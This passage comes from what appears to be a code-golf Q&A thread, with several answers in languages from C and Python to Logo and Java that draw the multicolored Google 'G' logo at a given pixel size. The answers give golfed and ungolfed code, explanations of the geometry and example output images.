d=GetDC(GetDesktopWindow());for(x=0;x<N;x+=1)for(y=0;y<N;y+=1){a=2*x/N-1;b=2*y/N-1;SetPixel(d,x,y,(a>0&&a<.8&&b*b<.04)?0xF48542:(a*a+b*b>1||a*a+b*b<.36)?0xFFFFFF:(a*a<b*b)?((b<0)?3490794:5482548):(a<0)?376059:(b<-.2)?0xFFFFFF:0xF48542);}} ``` Takes "N" as command line argument and draws directly on the screen. Un-golfed: ``` #include <windows.h> // atoi() will work fine without any #include file! // -> don't #include it! main(int c,char **v) { float x,y,a,b,N=atoi(*++v); /* Access the screen for directly drawing! */ HDC d=GetDC(GetDesktopWindow()); /* Iterate over the pixels */ for(x=0;x<N;x+=1) for(y=0;y<N;y+=1) { /* Convert x,y into "relative" coordinates: The image * is 2.0x2.0 in size with (0.0,0.0) in the center */ a=2*x/N-1; b=2*y/N-1; /* Draw each pixel */ SetPixel(d,x,y, (a>0 && a<.8 && b*b<.04)?0xF48542: /* The bar of the "G" in the middle */ (a*a+b*b>1 || a*a+b*b<.36)?0xFFFFFF: /* Not on one of the circle segments */ (a*a<b*b)?((b<0)?0x3543EA:0x53A834): /* Top and bottom segments */ (a<0)?0x5BCFB: /* Left segment */ (b<-.2)?0xFFFFFF:0xF48542); /* Right segment: A bit more complicated... */ } /* Note: Under good old Windows 3.x we would require to * call "ReleaseDC" here; otherwise the system would * "crash" (however the image would have been drawn!) * No need for this in modern Windows versions! */ } ``` [Answer] # Python 2, ~~244~~ 220 bytes using Martin Rosenau's transformation on the [-1,1]^2 plane and minor golfing like removing `0.` or brackets ``` N=input() R=[2*z/(N-1.)-1for z in range(N)] B="\xFF"*3,"B\x85\xF4" print"P6 %d %d 255 "%(N,N)+"".join([B[0<x<.8and.04>y*y],["4\xA8S",B[y>-.2],"\xFB\xBC\x05","\xEAC5"][(x>y)+2*(-x>y)]][.36<x*x+y*y<1]for y in R for x in R) ``` Explanation: ``` N=input() R=[2*z/(N-1.)-1for z in range(N)] #N*N points on the [-1,1]^2 plane B="\xFF"*3,"B\x85\xF4" #white and blue print"P6 %d %d 255 "%(N,N) + "".join( #binary PPM header [ B[0<x<.8and.04>y*y], #blue rectangle part of the G, or white ["4\xA8S",B[y>-.2],"\xFB\xBC\x05","\xEAC5"][(x>y)+2*(-x>y)] #[green, [white,blue], yellow, red]-arcs with 4 way selector ] [.36<x*x+y*y<1] #radius checker, outside=0 blue rectangle or white, inside=1 colored arcs for y in R for x in R #for all points ) ``` Output as binary PPM, usage: ``` python golf_google.py > google.ppm ``` ## Examples * 13 [![13](https://i.stack.imgur.com/p1Feu.png)](https://i.stack.imgur.com/p1Feu.png) * 50 [![50](https://i.stack.imgur.com/BR4bz.png)](https://i.stack.imgur.com/BR4bz.png) * 100 [![100](https://i.stack.imgur.com/aSMbY.png)](https://i.stack.imgur.com/aSMbY.png) * 1337 [![1337](https://i.stack.imgur.com/Hgqq8.png)](https://i.stack.imgur.com/Hgqq8.png) ### previous 244 bytes solution ``` N=input() S="P6 %d %d 255 "%(N,N) R=range(N) B=["\xFF"*3,"B\x85\xF4"] for Y in R: for X in R:y=Y-N/2;x=X-N/2;S+=[B[0<x<0.4*N and abs(y)<0.1*N],["4\xA8S",B[y>-0.1*N],"\xFB\xBC\x05","\xEAC5"][(x>y)+2*(-x>y)]][0.3*N<(y**2+x**2)**.5<0.5*N] print S ``` ### Ungolfed beta Version before if/else elimination: ``` N=input() print"P3 %d %d 255 "%(N,N) R=range M=N/2 r="255 0 0 " g="0 255 0 " b="0 0 255 " c="255 255 0 " w="255 255 255 " for Y in R(N): for X in R(N): y=Y-M x=X-M d=(y**2+x**2)**.5 #radius if 0.3*N<d<0.5*N: #inside circle if x>y: #diagonal cut bottom-left to top right if -x>y: #other diagonal cut print r else: if y>-0.1*N:print b #leave some whitespace at blue else: print w else: if -x>y: print c else: print g else: if 0<x<0.4*N and -0.1*N<y<0.1*N: #the straight part of G print b else: print w ``` [Answer] # JavaScript (ES6), ~~408 ... 321~~ 317 bytes ~~384 383 371 367 359 327 316 308~~ 304 bytes of JavaScript + ~~24~~ 13 bytes for the canvas element ``` (f=d.style).width=f.height=(d.width=d.height=n=prompt(f.background='#FFF'))+'px';q=n/2;with(d.getContext`2d`)['#EA4335','#FBBC05','#34A853','#4285F4'].map((c,i)=>beginPath(lineWidth=y=n/5,strokeStyle=fillStyle=c,arc(q,q,z=q-y/2,(j=2*i+1)*(r=-.7854),(j+(i-3?2:1.256))*r,1),stroke(),fillRect(q,z,q*.98,y))) ``` ``` <canvas id=d> ``` 1 byte saved by drawing counter-clockwise. 11 bytes saved on the HTML thanks to Conor O'Brien. 12 bytes saved using `with` block thanks to Prinzhorn. 4 bytes saved with better use of `z=q-y/2`. 8 bytes saved by using `parentNode` and `background` thanks to Alexis Tyler. 32 bytes saved by using a more precise drawing of the blue arc/bar so I don't need to erase a part of it anymore. 11 bytes saved by setting canvas css instead of its parentNode thanks to Tejas Kale. 8 bytes saved using `with` and `map` with a single statement, `2d` instead of `('2d')`, `n/5` instead of `.2*n` and initializing the background in the `prompt(...)`. 4 bytes saved replacing `Math.PI/4` by `.7854` which seems enough precision thanks to RobAu. --- **Explanation:** ``` (f=d.style).width=f.height=(d.width=d.height=n=prompt(f.background='#FFF'))+'px';q=n/2 ``` The canvas dimensions are initilized with user input and the background is set to white. `q` is initialized. ``` with(d.getContext`2d`)['#EA4335','#FBBC05','#34A853','#4285F4'].map((c,i)=>beginPath(lineWidth=y=n/5,strokeStyle=fillStyle=c,arc(q,q,z=q-y/2,(j=2*i+1)*(r=-.7854),(j+(i-3?2:1.256))*r,1),stroke(),fillRect(q,z,q*.98,y))) ``` For each color draws the circle part, with some adjustement for the last (blue) one. The bar is drawn for each color at the same place with the same dimensions so only the last (blue) one is visible. [Answer] # BBC BASIC, 177 bytes Download interpreter at <http://www.bbcbasic.co.uk/bbcwin/download.html> ``` I.n V.19;16,234,67,53,275;64272;1468;531;16,43060;83,787;16,34114;7668;n;n; F.t=1TO8.256S.1/n a=t*PI/4y=n*SIN(a)x=n*COS(a)V.18;t-1>>1,25,85,x*.6;y*.6;25,85,x;y; N.PLOT101,0,-n/5 ``` BBC BASIC uses 2 units=1 pixel, so we plot a G of radius `n` units (=n/2 pixels) at centre `n,n`. The idea is to plot a series of radial lines, changing colour as appropriate. It was found that there were small gaps between the lines due to truncation of the numbers when converted to pixels, so thin triangles are actually plotted instead. Once the sweep of lines is completed, the cursor is at the top right corner of the blue area. A single coordinate for the diagonally opposite corner is given to draw a rectangle in order to complete the shape. **Ungolfed** ``` INPUTn REM reprogram pallette VDU19;16,&EA,&43,&35,275;16,&FB,&BC,5,531;16,&34,&A8,&53,787;16,&42,&85,&F4 ORIGINn,n :REM move origin to position n,n on screen. FORt=1TO8.256STEP1/n :REM from 1/8 turn to 8.56 turns in small steps GCOL0,t-1>>1 :REM set the colours, 0=red, 1=yellow, 2=green, 3=blue a=t*PI/4 :REM convert angle from 1/8 turns into radians y=n*SIN(a) :REM find position of outer end of ray x=n*COS(a) :REM plot to coordinates of inner and outer ends of ray PLOT85,x*.6,y*.6 :REM PLOT85 actually draws a triangle between the specified point PLOT85,x,y :REM and the last two points visited. NEXT PLOT101,0,-n/5 :REM once all is over, cursor is at top right corner of blue rectangle. Draw a rectangle to the bottom left corner as specified. ``` [Answer] ## HTML/JS, ~~680~~ 624 bytes **To get 624 bytes, remove the last `;`, this is needed for the snippet below due to the way it imports the HTML. Also, Firefox seems to not support `image-rendering: pixelated` and needs `-moz-crisp-edges` instead (thanks [@alldayremix](https://codegolf.stackexchange.com/users/19974/alldayremix)!) which makes a Firefox solution +7 but this does work in Chrome as expected.** Utilises JavaScript to request `N` and a `<style>` block to position/colour the elements. Uses basic HTML elements, rather than applying styles to a canvas (which, it appears, was a much shorter approach!). This is a revamped approach using a `data:` URI background image instead of just coloured elements. I've kept the previous approach below in case this new one works on fewer browsers. I thought this was going to be a lot smaller than it ended up being, but it was an interesting exercise nonetheless! ``` <body id=x onload=x.style.fontSize=prompt()+'px'><u><a></a><b></b><i></i><s><style>u,a,b,i,s{position:relative;display:block}b,i,s{position:absolute}a,u{width:1em;height:1em}a,b{border-radius:50%}a{image-rendering:pixelated;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAIAAAD91JpzAAAAFklEQVQI12N45Wzq1PqF4fceVpMVwQAsHQYJ1N3MAQAAAABJRU5ErkJggg)no-repeat;background-size:100%;transform:rotate(45deg)}b{top:.2em;left:.2em;width:.6em;height:.6em;background:#fff}i{border-top:.4em solid transparent;border-right:.4em solid#fff;top:0;right:0}s{top:.4em;right:.1em;width:.4em;height:.2em;background:#4285f4; ``` Previous version: ``` <body id=x onload=x.style.fontSize=prompt()+'px'><a b><b l style=padding-left:.5em></b><b y></b><b g></b></a><i style=height:.4em></i><i style="background:#ea4335;border-radius:0 1em 0 0;transform-origin:0%100%;transform:rotate(-45deg)"></i><i b z style=top:.2em;left:.2em;width:.6em;height:.6em></i><i l z style="top:.4em;height:.2em;border-radius:0 2%10%0/0 50%50%0;width:.4em"><style>*{position:relative;background:#fff}a,b,i{display:block;float:left;width:.5em;height:.5em}a{height:1em;width:1em;transform:rotate(45deg);overflow:hidden}i{position:absolute;top:0;left:.5em}[b]{border-radius:50%}[g]{background:#34a853}[l]{background:#4285f4}[y]{background:#fbbc05}[z]{z-index:1 ``` [Answer] ## Bash with Imagemagick (but really Postscript), ~~268~~ ~~255~~ 249 bytes ``` C=' setrgbcolor 2.5 2.5 2' A=' arc stroke ' echo "%!PS 122.4 dup scale .92 .26 .21$C 45 136$A.98 .74 .02$C 135 226$A.20 .66 .33$C 225 316$A.26 .52 .96$C 315 371$A 4.95 2.5 moveto 2.5 2.5 lineto stroke"|convert - -crop 612x612+0+180 -scale "$1" o.png ``` Doubled the scaling to remove `setlinewidth`, replaced one scale factor with `dup`, and merged a space into the `A` variable (can't with `C` because `$C45` is parsed as "the variable `C45`"). Thanks to joojaa for suggesting these edits! ### Old Scale, 255 bytes ``` C=' setrgbcolor 5 5 4' A=' arc stroke' echo "%!PS 61.2 61.2 scale 2 setlinewidth .92 .26 .21$C 45 136$A .98 .74 .02$C 135 226$A .20 .66 .33$C 225 316$A .26 .52 .96$C 315 371$A 9.9 5 moveto 5 5 lineto stroke"|convert - -crop 612x612+0+180 -scale "$1" o.png ``` Takes *N* as the lone argument and outputs to o.png. ### Ungolfed Postscript for Old Scale ``` %!PS % Scale so default page has width of 10 61.2 61.2 scale 2 setlinewidth % Red arc .92 .26 .21 setrgbcolor 5 5 4 45 136 arc stroke % Yellow arc .98 .74 .02 setrgbcolor 5 5 4 135 226 arc stroke % Green arc .20 .66 .33 setrgbcolor 5 5 4 225 316 arc stroke % Blue arc .26 .52 .96 setrgbcolor 5 5 4 315 371 arc % Blue in-tick 9.9 5 moveto 5 5 lineto stroke ``` [Answer] # MATLAB, ~~189~~ 184 bytes ``` [X,Y]=meshgrid(-5:10/(input("")-1):5);[A,R]=cart2pol(-X,Y);I=round(A*2/pi+3);I(R<3)=1;I(X>0&Y.^2<1)=5;I(R>5)=1;image(I) colormap([1,1,1;[234,67,53;251,188,5;52,168,83;66,133,244]/255]) ``` ## ungolfed ``` [X,Y]=meshgrid(-5:10/(input("")-1):5); % coordinates in 10th of image width [A,R]=cart2pol(-X,Y); % angle and radius I=round(A*2/pi+3); % map [0-45,45-135,135-225,225-315,315-360] to [1,2,3,4,5] I(R<3)=1; % clear inner pixels I(X>0&Y.^2<1)=5; % draw horizontal line I(R>5)=1; % clear outer pixels image(I) colormap([1,1,1;[234,67,53;251,188,5;52,168,83;66,133,244]/255]) ``` [Answer] # Perl 5, 486 477 476 450 (+7 for `-MImager` flag) = 457 bytes I saved a few bytes thanks to Dada by using functional `new` calls and getting rid of parens, and by using `pop` instead of `$ARGV[0]` as well as the final semicolon. I saved some more by putting that `$n=pop` where it's first used, and by using Perl 4 namespace notation with `'` instead of `::`. ``` $i=new Imager xsize=>$n=pop,ysize=>$n;$h=$n/2;$s=$n*.6;$f=$n*.4;$c='color';($b,$r,$y,$g,$w)=map{new Imager'Color"#$_"}qw(4285f4 ea4335 fbbc05 34a853 fff);$i->box(filled=>1,$c,$w);$i->arc($c,$$_[0],r=>$h,d1=>$$_[1],d2=>$$_[2])for[$b,315,45],[$r,225,315],[$y,135,225],[$g,45,135];$i->circle($c,$w,r=>$n*.3,filled=>1);$i->box($c,$b,ymin=>$f,ymax=>$s,xmin=>$h,xmax=>$n*.9,filled=>1);$i->polygon($c,$w,x=>[$n,$n,$s],y=>[0,$f,$f]);$i->write(file=>'g.png') ``` It requires the module [Imager](https://metacpan.org/pod/Imager), which needs to be installed from CPAN. Takes one integer as a command line argument. The image is not anti-aliased, so it's a bit ugly. Copy the below code into a file g.pl. We need an additional +7 bytes for the `-MImager` flag, but it saves a few bytes because we don't need to `use Imager;`. ``` $ perl -MImager g.pl 200 ``` Here are various sizes: N=10 [![10px](https://i.stack.imgur.com/HJsZr.png)](https://i.stack.imgur.com/HJsZr.png) N=100 [![100px](https://i.stack.imgur.com/vZgzf.png)](https://i.stack.imgur.com/vZgzf.png) N=200 [![200px](https://i.stack.imgur.com/xF18r.png)](https://i.stack.imgur.com/xF18r.png) The completely ungolfed code is straight-forward. ``` use Imager; my $n = $ARGV[0]; my $i = Imager->new( xsize => $n, ysize => $n ); my $blue = Imager::Color->new('#4285f4'); my $red = Imager::Color->new('#ea4335'); my $yellow = Imager::Color->new('#fbbc05'); my $green = Imager::Color->new('#34a853'); my $white = Imager::Color->new('white'); $i->box( filled => 1, color => 'white' ); $i->arc( color => $blue, r => $n / 2, d1 => 315, d2 => 45 ); # b $i->arc( color => $red, r => $n / 2, d1 => 225, d2 => 315 ); # r $i->arc( color => $yellow, r => $n / 2, d1 => 135, d2 => 225 ); # y $i->arc( color => $green, r => $n / 2, d1 => 45, d2 => 135 ); # g $i->circle( color => $white, r => $n * .3, filled => 1 ); $i->box( color => $blue, ymin => $n * .4, ymax => $n * .6, xmin => $n / 2, xmax => $n * .9, filled => 1 ); $i->polygon( color => $white, x => [ $n, $n, $n * .6 ], y => [ 0, $n * .4, $n * .4 ] ); $i->write( file => 'g.png' ); ``` --- This post previously had the code shaped like the output image. Since that is against the rules for code golf I had to remove it. See the [revision history](https://codegolf.stackexchange.com/posts/95999/revisions) if you want to take a look. I used [Acme::EyeDrops](https://v1.metacpan.org/pod/Acme::EyeDrops) to create that, with a shape that I created from an image created with the program itself that I converted to ASCII art. The code I obfuscated was already golfed, which can be seen by replacing the first `eval` with a `print`. [Answer] # PHP + SVG, 300 Bytes ``` <svg width=<?=$_GET["w"]?> viewBox=0,0,10,10><def><path id=c d=M0,5A5,5,0,0,1,5,0V2A3,3,0,0,0,2,5 /></def><?foreach(["fbbc05"=>-45,"ea4335"=>45,"4285f4"=>168.5,"34a853"=>225]as$k=>$v)echo"<use xlink:href=#c fill=#$k transform=rotate($v,5,5) />"?><rect x=5 y=4 fill=#4285f4 width=4.9 height=2 /></svg> ``` The scaling part is `width=<?=$_GET[w]?>` Output for value 333 ``` <svg width="333" viewBox="0 0 10 10"> <def><path id="c" d="M 0,5 A 5 5 0 0 1 5,0 V 2 A 3,3 0 0 0 2,5"/></def> <use xlink:href="#c" fill="#fbbc05" transform="rotate(-45,5,5)"/><use xlink:href="#c" fill="#ea4335" transform="rotate(45,5,5)"/><use xlink:href="#c" fill="#4285f4" transform="rotate(168.5,5,5)"/><use xlink:href="#c" fill="#34a853" transform="rotate(225,5,5)"/> <rect x="5" y="4" fill="#4285f4" width="4.9" height="2"/> </svg> ``` [Answer] # Logo, 258 bytes ... because I figure **logos should be made using Logo**. This is implemented as a function. I developed it using [Calormen.com's online Logo interpreter](http://calormen.com/jslogo/) I originally attempted to draw each segment and paint fill it, but that turned out to be bigger than expected. There was a lot of wasted movement backtracking and such. Instead, I decided to do a polar graph sweep, adjusting the color based on the heading. The harder part of the math was doing the geometry for the curve at the top of the G's rectangle. You could trim some decimals and have less accuracy, but I wanted this to be accurate to about 3 digits to accommodate typical screen sizes. ## Golfed ``` to g:n ht make"a arctan 1/:n seth 78.46 repeat 326.54/:a[make"h heading pu fd:n/2 pd setpc"#4285f4 if:h>135[setpc"#34a853]if:h>225[setpc"#fbbc05]if:h>315[setpc"#ea4335]bk:n*.2 pu bk:n*.3 rt:a]home bk:n*.1 filled"#4285f4[fd:n/5 rt 90 fd:n*.49 rt 90 fd:n/5]end ``` ## Sample `g 200` [![Google logo, size 200px](https://i.stack.imgur.com/XfUT0.png)](https://i.stack.imgur.com/XfUT0.png) ## Ungolfed ``` to g :n ; Draw a G of width/height n hideturtle ; Hide the turtle, since she's not part of the Google logo ;Determine the proper size of the angle to rotate so that the circle stays smooth within 1 px at this size make "a arctan 1/:n setheading 78.46 ; Point toward the top corner of the upcoming rectangle repeat 326.54 / :a [ ; Scoot around most of the circle, :a degrees at a time make"h heading ; Store heading into a variable for golfing purposes ; Position pen at the next stroke penup forward :n / 2 pendown ; Set the pen color depending on the heading setpencolor "#4285f4 if :h > 135 [ setpencolor "#34a853] if :h > 225 [ setpencolor "#fbbc05] if :h > 315 [ setpencolor "#ea4335] ; Draw the stroke and return to center back :n * .2 penup back :n * .3 right :a ; Rotate to the next sweep heading ] ; Draw the rectangle home back :n * .1 filled "#4285f4 [ forward :n/5 right 90 forward :n * .49 ;This is just begging to be :n / 2 but I couldn't bring myself to do it. Proper math is more like :n * (sqrt 6) / 5 right 90 forward :n / 5 ] end ``` [Answer] ## JavaScript (ES7), ~~285~~ ~~258~~ ~~254~~ ~~252~~ 251 bytes Prompts for the width of the logo (up to 999) and draws it in a canvas, pixel per pixel. ***Edit***: The initial version was converting Cartesian coordinates `(x,y)` to Polar coordinates `(r,a)`, but we don't really need the angle. It's simpler (and significantly shorter) to just do comparisons between `x` and `y` to find out in which quarter we are. ***Edit***: Saved 1 byte thanks to ETHproductions. ### JS, ~~251~~ ~~224~~ ~~220~~ ~~218~~ 217 bytes ``` for(w=x=y=prompt(c=c.getContext`2d`)/2;r=(x*x+y*y)**.5,q=(x<y)+2*(x<-y),c.fillStyle='#'+'4285F434A853EA4335FBBC05FFF'.substr(x>0&r<w&y*y<w*w/25?0:r<w*.6|r>w|!q&y<0?24:q*6,6),x-->-w||y-->-(x=w);)c.fillRect(x+w,y+w,1,1) ``` ### HTML, 34 bytes ``` <canvas id=c width=999 height=999> ``` ### ES6 version: ~~258~~ ~~231~~ ~~227~~ ~~225~~ 224 + 34 = 258 bytes Recommended maximum width for the snippet: 190. ``` for(w=x=y=prompt(c=c.getContext`2d`)/2;r=Math.pow(x*x+y*y,.5),q=(x<y)+2*(x<-y),c.fillStyle='#'+'4285F434A853EA4335FBBC05FFF'.substr(x>0&r<w&y*y<w*w/25?0:r<w*.6|r>w|!q&y<0?24:q*6,6),x-->-w||y-->-(x=w);)c.fillRect(x+w,y+w,1,1) ``` ``` <canvas id=c width=999 height=999> ``` [Answer] # C#, 276 + 21 = 297 bytes 276 bytes for method + 21 bytes for System.Drawing import. ``` using System.Drawing;n=>{var q=new Bitmap(n,n);uint W=0xFFFFFFFF,B=0xFF4285F4;for(int y=0,x=0;x<n;y=++y<n?y:x-x++){float a=2f*x/n-1,b=2f*y/n-1,c=b*b;q.SetPixel(x,y,Color.FromArgb((int)(a>0&&a<.8&&c<.04?B:a*a+c>1||a*a+c<.36?W:a*a<c?b<0?0xFFEA4335:0xFF34A853:a<0?0xFFFBBC05:b<-.2?W:B)));}return q;}; ``` Based on Martin Rosenau's algorithm. Thanks for doing the hard part of coming up with a way to construct the image! ``` using System.Drawing; // Import System.Drawing /*Func<int, Bitmap>*/ n => { var q = new Bitmap(n, n); // Create nxn output bitmap uint W=0xFFFFFFFF, // White, color used more than once B=0xFF4285F4; // Blue, color used more than once for(int y = 0, x = 0; x < n; // Loops for(x=0;x<N;x+=1) for(y=0;y<N;y+=1) combined y = ++y < n // Increment y first until it reaches n ? y : x - x++) // Then increment x, resetting y { float a = 2f * x / n - 1, // Relative coords. Refer to Martin Rosenau's b = 2f * y / n - 1, // for what this magic is. c = b * b; // b*b is used more than 3 times q.SetPixel(x, y, // Set pixel (x,y) to the appropriate color Color.FromArgb((int) // Cast uint to int :( ( // Here lies magic a > 0 && a < .8 && c < .04 ? B : a * a + c > 1 || a * a + c < .36 ? W : a * a < c ? b < 0 ? 0xFFEA4335 : 0xFF34A853 : a < 0 ? 0xFFFBBC05 : b < -.2 ? W : B ))); } return q; }; ``` 26: [![26](https://i.stack.imgur.com/ZC0AA.png)](https://i.stack.imgur.com/ZC0AA.png) 400: [![400](https://i.stack.imgur.com/WYslW.png)](https://i.stack.imgur.com/WYslW.png) [Answer] ## ~~JS/~~CSS/HTML(+JS), ~~40~~ 0 + ~~701~~ ~~644~~ ~~617~~ 593 + ~~173~~ ~~90~~ ~~97 121 = ~~914~~ ~~774~~ ~~754~~ 730~~ 714 bytes ``` *{position:absolute}a,h{height:100%;background:#4285F4}a,g{width:100%;border-radius:100%}h{width:30%;height:20%;top:40%}b,c,d,e,f{width:50%;height:50%}b,d,f,h{left:50%}e,f{top:50%}c{border-radius:100% 0 0;background:linear-gradient(45deg,#FBBC05 50%,#EA4335 50%)}d{border-radius:0 100% 0 0;background:linear-gradient(-45deg,transparent 50%,#EA4335 50%)}e{border-radius:0 0 0 100%;background:linear-gradient(-45deg,#34A853 50%,#FBBC05 50%)}f{border-radius:0 0 100%;background:linear-gradient(45deg,#34A853 50%,#4285F4 50%)}b,g{height:40%;background:#FFF}g{width:60%;height:60%;top:20%;left:20%} ``` ``` <input oninput=with(o.style)height=width=value+"px"><o id=o><a></a><b></b><c></c><d></d><e></e><f></f><g></g><h></h></o> ``` Uses linear gradients rather than transforms. Edit: Saved 140 bytes thanks to @darrylyeo. Saved 20 bytes by using an extra element instead of a gradient. Saved 24 bytes thanks to @DBS. Saved 16 bytes thanks to @Hedi. From back to front, the various layers are: * `a` The blue circle * `b` A white rectangle to obscure the part above the bar * `c` The red/yellow top left quarter * `d` The red octant top right * `e` The yellow/green bottom left quarter * `f` The green/blue bottom right quarter * `g` The inner white circle * `h` The horizontal blue bar ## JavaScript (ES6) (+SVG), 293 bytes, invalid ``` document.write(`<svg id=o width=${prompt()} viewbox=0,0,50,50>`);m=`39,11`;`#EA433511,11 #FBBC0511,39 #34A85339,39 #4285F445,25L25,25`.replace(/(.{7})(.{5})(.*)/g,(_,s,t,u)=>m=document.write(`<path stroke=${s} d=M${m}A20,20,0,0,0,${t+u} fill=none stroke-width=10 stroke-linejoin=round />`)||t) ``` Sadly the round line join isn't quite the requested effect, but it's pretty close. [Answer] ## Ruby 2.3.1, 376 359 bytes Using the RMagick gem. ``` d,f=$*[0].to_i,2.5;g,h,e,c=d-1,d/2,Magick::ImageList.new,Magick::Draw.new;e.new_image(d,d);c.stroke('#EA4335').fill_opacity(0).stroke_width(d*0.2).ellipse(h,h,g/f,g/f,225,315).stroke('#FBBC05').ellipse(h,h,g/f,g/f,135,225).stroke('#34A853').ellipse(h,h,g/f,g/f,45,135).stroke('#4285F4').ellipse(h,h,g/f,g/f,348.5,45).line(h,h,d*0.989,h).draw(e);e.write($*[1]) ``` **Examples** 50x50 [![50x50](https://i.stack.imgur.com/XFzGz.png)](https://i.stack.imgur.com/XFzGz.png) 250x250 [![enter image description here](https://i.stack.imgur.com/skN4Y.png)](https://i.stack.imgur.com/skN4Y.png) 500x500 [![enter image description here](https://i.stack.imgur.com/GVUrO.png)](https://i.stack.imgur.com/GVUrO.png) 1000x1000 [![enter image description here](https://i.stack.imgur.com/OUjtb.png)](https://i.stack.imgur.com/OUjtb.png) File takes two parameters- the first being the dimension and the second being the filename to save the output as. **Ungolfed** ``` require "RMagick" # Take the user's input for dimension d = $*[0].to_i e = Magick::ImageList.new e.new_image(d, d) c = Magick::Draw.new # Start by setting the color to red c.stroke('#EA4335') # set opacity to nothing so that we don't get extra color. .fill_opacity(0) # set thickness of line. .stroke_width(d*0.2) # #ellipse creates an ellipse taking # x, y of center # width, height, # arc start, arc end .ellipse(d / 2, d / 2, (d - 1) / 2.5, (d - 1) / 2.5, 225, 315) # change to yellow and draw its portion .stroke('#FBBC05') .ellipse(d / 2, d / 2, (d - 1) / 2.5, (d - 1) / 2.5, 135, 225) # change to green and draw its portion .stroke('#34A853') .ellipse(d / 2, d / 2, (d - 1) / 2.5, (d - 1) / 2.5, 45, 135) # change to blue and draw its portion .stroke('#4285F4') .ellipse(d / 2, d / 2, (d-1)/2.5, (d - 1)/2.5, 348.5, 45) # creates the chin for the G .line(d/2, d/2, d*0.99, d/2) # draws to the created canvas .draw(e) # save out the file # taking the filename as a variable saves a byte over # "a.png" e.write($*[1]) ``` I had initially started solving this using oily\_png/chunky\_png but that would likely end up far too complicated compared to RMagick. RMagick's .ellipse function made this a breeze and the main work was around tuning the shapes/sizes of everything. This is my first Code Golf submission(first SE answer also) and I only consider myself somewhat intermediate with Ruby. If you have any input on improvement/tips, please feel free to share! [Answer] # Python 2, ~~378~~ 373 bytes I really wanted to do this using `turtle`. I had to dust off my knowledge of Geometry for this, calculating angles and lengths not provided in the challenge description. *Edit: removed `up()`, since doing so removes the little sliver of white between green and blue and makes the inner circle look better. This slows down the program even more.* *Edit: replaced `9*n` with `2*n` to make faster. I determined that it would still create a smooth circle.* ``` from turtle import* n=input() C=circle F=fill K=color q=90 w="white" t=n*.3 lt(45) def P(c,x,A):K(c);F(1);fd(x);lt(q);C(x,A,2*n);F(0);goto(0,0);rt(q) for c in"#EA4335","#FBBC05","#34A853":P(c,n/2,q) P(w,t,360) K("#4285F4") F(1) fd(n/2) lt(q) a=11.537 C(n/2,45+a,2*n) seth(0) bk(.489*n) rt(q) fd(n/5) lt(q) fd(t) F(0) bk(t) K(w) F(1) fd(.283*n) lt(94-2*a) C(t,a-45,2*n) F(0) ``` **Notes:** 1. The trinkets use Python 3, so the input must be cast to int. 2. The trinkets go *really* slow for large `n` if you remove `speed(0)`, which I added only for speed. 3. The slowness of the code is mostly due to the third parameter of `circle` growing `O(n)`, since it determines how many sides the inscribed polygon for drawing the circle has. [**Try it online**](https://trinket.io/python/b0501f0e04) **Ungolfed:** [**Try it online**](https://trinket.io/python/e884ef7a0e) **Fun fact:** `Trinket` is an anagram of `Tkinter`, Python's GUI package and the foundation for `turtle`. [Answer] # PHP + GD, ~~529~~ 449 bytes This takes a query string parameter `n` and outputs a PNG version of the logo of the specified size. ``` <?php $n=$_GET['n'];$h=$n/2;$c='imagecolorallocate';$a='imagefilledarc';$i=imagecreatetruecolor($n,$n);$m=[$c($i,66,133,244),$c($i,52,168,83),$c($i,251,188,5),$c($i,234,67,53),$c($i,255,255,255)];imagefill($i,0,0,$m[4]);$j=-11.6;foreach([45,135,225,315]as$k=>$e){$a($i,$h,$h,$n,$n,$j,$e,$m[$k],0);$j=$e;}$a($i,$h,$h,$n*.6,$n*.6,0,0,$m[4],0);imagefilledrectangle($i,$h,$h-$n*.1,$h+$h*.98,$h+$h*.2,$m[0]);header('Content-Type:image/png');imagepng($i); ``` Ungolfed: ``` <?php $n = $_GET['n'];$h=$n/2; $c = 'imagecolorallocate';$a='imagefilledarc'; $i = imagecreatetruecolor($n,$n); // Create array of colors $m=[$c($i,66,133,244),$c($i,52,168,83),$c($i,251,188,5),$c($i,234,67,53),$c($i,255,255,255)]; // Fill background with white imagefill($i, 0, 0, $m[4]); // Create four arcs $j=-11.6; foreach([45,135,225,315]as$k=>$e){ $a($i, $h, $h, $n, $n, $j, $e, $m[$k], 0);$j=$e; } // Hollow out the center and fill with white $a($i, $h, $h, $n*.6,$n*.6,0,0,$m[4],0); // create the horizontal bar imagefilledrectangle($i,$h,$h-$n*.1,$h+$h*.98,$h+$h*.2,$m[0]); // Output header('Content-Type: image/png'); imagepng($i); ``` N=13: [![13x13](https://i.stack.imgur.com/YDI6l.png)](https://i.stack.imgur.com/YDI6l.png) N=200: [![200x200](https://i.stack.imgur.com/fGJyj.png)](https://i.stack.imgur.com/fGJyj.png) [Answer] # Java, 568 bytes Not the strongest language for golfing, but here is my earnest attempt: ``` import java.awt.image.*;class G{public static void main(String[]b)throws Exception{int n=Integer.parseInt(b[0]),x,y,a,c;BufferedImage p=new BufferedImage(n,n,BufferedImage.TYPE_INT_RGB);for(y=0;y<n;y++){for(x=0;x<n;x++){double u=(x+.5)/n-.5,v=.5-(y+.5)/n,r=Math.hypot(u,v);a=(int)(Math.atan2(v,u)*4/Math.PI);c=0xFFFFFF;if(0<u&u<.4&-.1<v&v<.1)c=0x4285F4;else if(r<.3|r>.5);else if(a==0&v<.1)c=0x4285F4;else if(a==1|a==2)c=0xEA4335;else if(a==-1|a==-2)c=0x34A853;else if(a!=0)c=0xFBBC05;p.setRGB(x,y,c);}}javax.imageio.ImageIO.write(p,"png",new java.io.File("G.png"));}} ``` Usage: ``` > javac G.java --> Compiles to G.class > java G 400 --> Writes G.png in current working directory ``` Un-golfed version - the basic idea is to work in the coordinate system u, v ∈ [−0.5, 0.5] and calculate the distance and angle of each pixel from the image center: ``` import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; public class Google { public static void main(String[] args) throws IOException { int n = Integer.parseInt(args[0]); int[] pixels = new int[n * n]; for (int y = 0; y < n; y++) { for (int x = 0; x < n; x++) { double u = (x + 0.5) / n - 0.5; double v = 0.5 - (y + 0.5) / n; double r = Math.hypot(u, v); int a = (int)(Math.atan2(v, u) * 4 / Math.PI); int c = 0xFFFFFF; if (0 < u && u < 0.4 && Math.abs(v) < 0.1) c = 0x4285F4; else if (r < 0.3 || r > 0.5) /*empty*/; else if (a == 0 && v < 0.1) c = 0x4285F4; else if (a == 